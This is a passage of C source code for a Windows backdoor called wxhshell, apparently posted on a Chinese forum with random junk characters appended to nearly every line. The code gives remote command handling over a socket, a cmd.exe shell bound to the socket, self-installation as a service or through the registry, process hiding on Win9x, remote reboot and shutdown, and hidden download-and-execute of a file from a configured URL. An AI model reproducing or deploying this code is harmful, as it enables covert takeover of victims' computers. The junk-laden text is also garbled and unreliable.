  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8CH9&N5W5t  
  } 7)FYAk$@  
  else { /1Ss |.  
N0 mh gEA  
    switch(cmd[0]) { <KI>:@|Sc  
  :EH>&vm  
  // 帮助 us.IdG  
  case '?': { :X}Ie P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kX)*:~*  
    break; 0+.<BOcW5  
  } Xc~BHEp  
  // 安装 n_wF_K\h  
  case 'i': { O]@s` w  
    if(Install()) IfY?P(P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5m] Gqa  
    else 'Axe:8LA'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t5P8?q\  
    break; f6PYB&<1  
    } J.O{+{&cd  
  // 卸载 KJs`[,;<  
  case 'r': { j*d+WZm8-g  
    if(Uninstall()) LX=cx$K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Z-xh< &  
    else u 7 <VD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *uKYrs [  
    break; p=|S %  
    } BQs\!~Ux2  
  // 显示 wxhshell 所在路径 !"'6$"U\K  
  case 'p': { t oM+Bd:Y  
    char svExeFile[MAX_PATH]; RS@G.|  
    strcpy(svExeFile,"\n\r"); :u)Qs#'29  
      strcat(svExeFile,ExeFile); YHxQb$v)  
        send(wsh,svExeFile,strlen(svExeFile),0); uh>"TeOi  
    break; - Nt8'-  
    } B$S@xD $  
  // 重启 ~~Rq$'q}  
  case 'b': { |Nadk(}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ /<kPi  
    if(Boot(REBOOT)) <)Y jVGG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8I<j"6`+Q  
    else { A.RG8"  
    closesocket(wsh); `\/\C[Gg  
    ExitThread(0); $FZcvo3@*S  
    } B$7Cjv  
    break; y k\/Cf  
    } 2+*o^`%4P  
  // 关机 t[AA=  
  case 'd': { .z*}%,G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0WyOORuK  
    if(Boot(SHUTDOWN)) u<+"#.[2v~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i<q_d7-W'  
    else { PI"6d)S2  
    closesocket(wsh); = '-/JH~  
    ExitThread(0); 5X uQQ!`  
    } R38 \&F  
    break; Yjl:i*u/  
    } 8A u W>7_  
  // 获取shell |;I"Oc.w^R  
  case 's': { 7f<@+&  
    CmdShell(wsh); 1Ve~P"w  
    closesocket(wsh); *qxv"PptX  
    ExitThread(0); W*,$0 t  
    break; 0_=^#r4Mu  
  } }1Q> A 5e  
  // 退出 4H{$zMq8  
  case 'x': { &2n 5m&   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GgE 38~A4  
    CloseIt(wsh); -MORd{GF  
    break; =)x+f/c]  
    } 1)f <  
  // 离开 H;[?8h(  
  case 'q': { =Q6JXp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y I[kaH"J  
    closesocket(wsh); 9! yDZ<s  
    WSACleanup(); BL-7r=Z  
    exit(1); 6_:KFqc W  
    break; def\=WyK  
        } x&$8;2&.  
  } Digx#'#jf  
  } %/SHB  
v+( P4f S  
  // 提示信息 p4 $4;)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m @)Ya*=<  
} =GiN~$d  
  } phwBil-vUU  
Fc|N6I'o  
  return; #eF k  
} O(:/ &`)  
$&i8/pD  
// shell模块句柄 ^+kymZ  
int CmdShell(SOCKET sock) tJm1Q#||  
{ ):n'B` f}z  
STARTUPINFO si; Dv4 H^  
ZeroMemory(&si,sizeof(si)); -a'D~EGB^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lzx/9PPYn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6QNZ/Ox:  
PROCESS_INFORMATION ProcessInfo; _T;Kn'Gz(&  
char cmdline[]="cmd"; Zm+GH^f'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9S<V5$}  
  return 0; K?yMy,9%Yw  
} 7Jpq7;  
AE Abny q  
// 自身启动模式 V@\u<LO0G  
int StartFromService(void) c<{~j~+  
{ R'oGsaPB2  
typedef struct h dqr~9  
{ $8Z4jo  
  DWORD ExitStatus; S7@/d HN  
  DWORD PebBaseAddress; R_vK^Da  
  DWORD AffinityMask; Sae*VvT6  
  DWORD BasePriority; N,*'")k9  
  ULONG UniqueProcessId; vtc%MG1  
  ULONG InheritedFromUniqueProcessId; Ga pM~~  
}   PROCESS_BASIC_INFORMATION; /!60oV4p0  
Q@*9|6-  
PROCNTQSIP NtQueryInformationProcess; ?!3u ?Kd  
/PG%Y]l0b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^KV:.up6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lXD=uRCI  
2Tv W 6  
  HANDLE             hProcess; $F]*B `  
  PROCESS_BASIC_INFORMATION pbi; g'EPdE  
di<g"8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +;bZ(_ohG  
  if(NULL == hInst ) return 0; 7 4hRG~  
6t'.4SR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -67!u;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3@1$y`SN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G\(*z4@Gz  
dki3(  
  if (!NtQueryInformationProcess) return 0; n} ]gAX  
t$lJgj(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3(:?Z-iKe  
  if(!hProcess) return 0; g+xcKfN{  
$- Y8@bw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7'ws: #pC  
7UUu1"|a|  
  CloseHandle(hProcess); \vuWypo  
.s|5AC[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q77Iq0VR  
if(hProcess==NULL) return 0; Pu'lp O  
6H0aHCM  
HMODULE hMod; xFA`sAucr  
char procName[255];  l .m #  
unsigned long cbNeeded; V=Z%y$1Bc  
iaQFVROu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^__ P;Gr`  
QJI]@3 Y  
  CloseHandle(hProcess); EEvi_Z932  
HaF&ooI5+  
if(strstr(procName,"services")) return 1; // 以服务启动 !lp7}[k<y  
q35=_'\W  
  return 0; // 注册表启动 g<:TsP'|  
} N1U.1~U  
'Hu+8,xA  
// 主模块 ciW;sK8  
int StartWxhshell(LPSTR lpCmdLine) d-gcXaA-8  
{ SUL\|z`5  
  SOCKET wsl; oq (W|  
BOOL val=TRUE; nd5.Py$  
  int port=0; 2\F'So  
  struct sockaddr_in door; >VG*La' c  
q } (f9  
  if(wscfg.ws_autoins) Install(); 8A 'SMJi  
y4H/CH$%  
port=atoi(lpCmdLine); upq3)t_  
T`c:16I  
if(port<=0) port=wscfg.ws_port; 8 v da"  
aLwEz}-   
  WSADATA data; EWWCh0 {  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JZqJ&   
eUD 5 V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {<cgeH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KSU hB  
  door.sin_family = AF_INET; af/0e}-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A>*#Nw5L  
  door.sin_port = htons(port); u_*y~1^0  
q~{O^,4S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D"{%[;J  
closesocket(wsl); zJOyr"B'8  
return 1; 9|K :\!7  
} 0 Cyus  
!VHw*fL|r  
  if(listen(wsl,2) == INVALID_SOCKET) { #=Whh 9-d  
closesocket(wsl); >&T J  
return 1; $4]4G=o  
} xg;F};}5$  
  Wxhshell(wsl); \^lDd~MWG  
  WSACleanup(); 8boiJku`  
WGUd@lC~  
return 0; HLqDI lL  
lEw!H^O4  
} SN$3cg]z  
,5x9o"N!  
// 以NT服务方式启动 yEVnG` 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _gpf9ad  
{ v}@Uc-(  
DWORD   status = 0; HYNpvK  
  DWORD   specificError = 0xfffffff; C~M,N|m+^  
qI[AsM+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Io('kCOR;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; unr`.}A2>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mlz|KI~\F;  
  serviceStatus.dwWin32ExitCode     = 0; HrRw  
  serviceStatus.dwServiceSpecificExitCode = 0; 0Q]{r )  
  serviceStatus.dwCheckPoint       = 0; `U>]*D68  
  serviceStatus.dwWaitHint       = 0; -8S Z}J  
>Hd!o"I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hS^8/]E={  
  if (hServiceStatusHandle==0) return; c2PBYFCyC  
r6nWrO>y  
status = GetLastError(); V@`%k]k  
  if (status!=NO_ERROR) |#B)`r8  
{ _A=i2?g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *(sv5c!0M8  
    serviceStatus.dwCheckPoint       = 0; ^j1i CL!  
    serviceStatus.dwWaitHint       = 0; P R_| 8H|  
    serviceStatus.dwWin32ExitCode     = status; v5W-f0Jo  
    serviceStatus.dwServiceSpecificExitCode = specificError; ; Ji3|=4u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >ffQ264g=i  
    return; UxnZA5Lk*  
  } pO2XQYhrY  
mzf^`/NO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P+rDln {  
  serviceStatus.dwCheckPoint       = 0; PE6ZzxR|U<  
  serviceStatus.dwWaitHint       = 0; x. /WP~I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P[H 4Yp  
} 4u1au1c  
BD M"";u  
// 处理NT服务事件,比如:启动、停止 Kw`}hSE>o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~Vc`AcWP  
{ Z_Y gV:jc  
switch(fdwControl) 2HDWlUTNVO  
{ yz%o?%@  
case SERVICE_CONTROL_STOP: Yb'%J@T}  
  serviceStatus.dwWin32ExitCode = 0; v/,,z+%-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "[CR5q9Pr  
  serviceStatus.dwCheckPoint   = 0; Q776cj^L  
  serviceStatus.dwWaitHint     = 0; &E-q(3-  
  { @680.+Kw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T~d_?UAw$  
  } UvL=^*tm  
  return; 2hb>6Z;r]K  
case SERVICE_CONTROL_PAUSE: 2Xv$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6<YAoo  
  break; t]ID  
case SERVICE_CONTROL_CONTINUE: 0 l+Jq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !" @<!  
  break; S]gV!Q4%  
case SERVICE_CONTROL_INTERROGATE: < WQ ~X<1D  
  break; ?p>m ;Aq  
}; "lB%"}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z#d*Odc  
} -s 7a\H{~  
zo1 fUsK?  
// 标准应用程序主函数 .Z@iz5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @ b} -<~  
{ gdg "g6b  
 >Xxi2Vy  
// 获取操作系统版本 R^yh,  
OsIsNt=GetOsVer(); 43!E>mq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UDlM?r:f  
(:RYd6i  
  // 从命令行安装 3O|2Z~>3  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bsj^R\  
^a7a_M  
  // 下载执行文件 kXO c)  
if(wscfg.ws_downexe) { lXutZ<S[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M'@  
  WinExec(wscfg.ws_filenam,SW_HIDE); wjHH%y  
} -.5R.~@  
k: z)Sw  
if(!OsIsNt) { $,nidK!"  
// 如果时win9x,隐藏进程并且设置为注册表启动 zw0u|q;#  
HideProc(); Y,-! QFS#  
StartWxhshell(lpCmdLine); yB4eUa!1  
} {3``B#}  
else j 5bHzcv  
  if(StartFromService()) ./CD W  
  // 以服务方式启动 Fh}GJE   
  StartServiceCtrlDispatcher(DispatchTable); !_-Uwg  
else  H@sM$8  
  // 普通方式启动 Mwa Rwk;  
  StartWxhshell(lpCmdLine); FW3uq^  
D=M'g}l  
return 0; mJsU7bD`  
}
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只看该作者 1 发表于: 2006-10-10
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